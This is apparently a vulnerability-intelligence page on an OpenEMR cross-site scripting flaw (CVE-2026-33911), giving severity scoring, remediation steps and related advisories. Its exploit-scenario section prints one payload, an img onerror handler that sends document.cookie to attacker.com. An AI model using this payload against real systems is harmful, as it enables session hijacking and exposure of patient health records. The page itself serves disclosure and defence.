Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) indicates moderate severity with several mitigating factors: network accessibility is unrestricted, attack complexity is low, but the vulnerability requires prior authentication (PR:L) and user interaction (UI:R), and causes only confidentiality and integrity impacts at limited scope. The presence of a patched version (8.0.0.3) and confirmed fix commit in GitHub indicates vendor responsiveness. No KEV or active exploitation data is provided in the intelligence sources, and the UI:R requirement means this is primarily a secondary attack chain component rather than a direct entry point. In a healthcare context where OpenEMR manages sensitive patient data, compromising an authenticated user's session through XSS could enable lateral movement or HIPAA violations, elevating practical risk despite the moderate CVSS score. The requirement for authentication and user interaction suggests this is not a critical remote code execution vector but rather a session-stealing or privilege-escalation stepping stone. |
| Exploit ScenarioDerived | An authenticated attacker with access to the OpenEMR system crafts a malicious POST request containing JavaScript code in the 'title' parameter (e.g., title='<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'). When a victim user (such as an administrator or clinician) is tricked into viewing or submitting this payload through a phishing email or social engineering, the JSON response is rendered as HTML by the browser, triggering the onerror handler and exfiltrating the victim's session cookie to an attacker-controlled server. The attacker then replays the stolen session token to gain unauthorized access to the victim's OpenEMR account, potentially accessing, modifying, or exfiltrating protected health information. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
This is a stored/reflected cross-site scripting (XSS) vulnerability in OpenEMR versions prior to 8.0.0.3 where the POST parameter 'title' is improperly encoded in JSON responses but served with a text/html Content-Type header, causing browsers to execute injected JavaScript rather than treat the output as data. An authenticated attacker can craft a malicious request to execute arbitrary JavaScript in a victim's session, potentially leading to session hijacking, credential theft, or unauthorized actions within the electronic health records system. The vulnerability carries a moderate CVSS score of 5.4 but requires authentication and user interaction (UI:R), reducing immediate exploitation likelihood, though a proof-of-concept fix commit is available in the GitHub repository.
RemediationAI
Upgrade OpenEMR to version 8.0.0.3 or later immediately, as confirmed by the vendor release at https://github.com/openemr/openemr/releases/tag/v8_0_0_3. For environments unable to patch immediately, implement network-level controls by restricting access to OpenEMR administration and user-facing endpoints to trusted IP ranges, enforce HTTPS with HSTS headers to prevent session hijacking, disable JavaScript execution in sensitive administrative interfaces where feasible, and monitor authentication logs for unusual session activity. Additionally, sanitize and validate the 'title' POST parameter input server-side and ensure all JSON responses are served with the correct Content-Type: application/json header to prevent browser HTML interpretation of JSON data.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from improper output encoding in a JSON API endpoint within OpenEMR, an open-source electronic health records and medical practice management application (CPE: cpe:2.3:a:openemr:openemr). The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic cross-site scripting flaw. The issue arises when the 'title' POST parameter is reflected into a JSON response constructed via json_encode(), which produces syntactically valid JSON. However, because the HTTP response is served with Content-Type: text/html instead of application/json, the browser's HTML parser interprets injected HTML and script tags within the JSON structure rather than treating the response as plain data. This represents a content-type mismatch vulnerability where JSON data is mishandled as HTML content, allowing script execution in the victim's security context.
Know when Openemr gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, the POST parameter title is reflected back in a JSON response built with json_encode(). Because the response is served with a text/html Content-Type, the browser interprets injected HTML/script tags rather than treating the output as JSON. An authenticated attacker can craft a request that executes arbitrary JavaScript in a victim's session. Version 8.0.0.3 contains a fix.
Executive ViewAI
Organizations using OpenEMR should be aware of moderate risk from CVE-2026-33911, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)GitHub Advisory
An authenticated SQL injection vulnerability exists in OpenEMR ≤ 4.1.1 Patch 14 that allows a low-privileged attacker to
Unauthenticated token disclosure in OpenEMR before 8.0.0. CVSS 10.0. PoC and patch available.
Path traversal in OpenEMR 7.0.4 disposeDocument() allows file access. PoC available.
Path traversal in OpenEMR electronic health records before fix allows authenticated users to read arbitrary files on the
SQL injection in OpenEMR electronic health records before fix. Authenticated users can execute arbitrary SQL through the
OpenEMR 7.0.2 is vulnerable to SQL Injection via \openemr\library\classes\Pharmacy.class.php, \controllers\C_Pharmacy.cl
An issue in OpenEMR 7.0.2 allows a remote attacker to escalate privileges viaa crafted POST request using the noteid par
Information disclosure in OpenEMR 5.0.2 to before 8.0.0 exposes sensitive data. PoC and patch available.
Remote code execution in OpenEMR through 8.2.0 lets an authenticated administrator poison the document category tree so
interface/fax/fax_dispatch.php in OpenEMR 4.1.0 allows remote authenticated users to execute arbitrary commands via shel
interface/globals.php in OpenEMR 2.x, 3.x, and 4.x before 4.2.0 patch 2 allows remote attackers to bypass authentication
Authentication bypass vulnerability in portal/account/register.php in versions of OpenEMR before 5.0.1.4 allows a remote
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB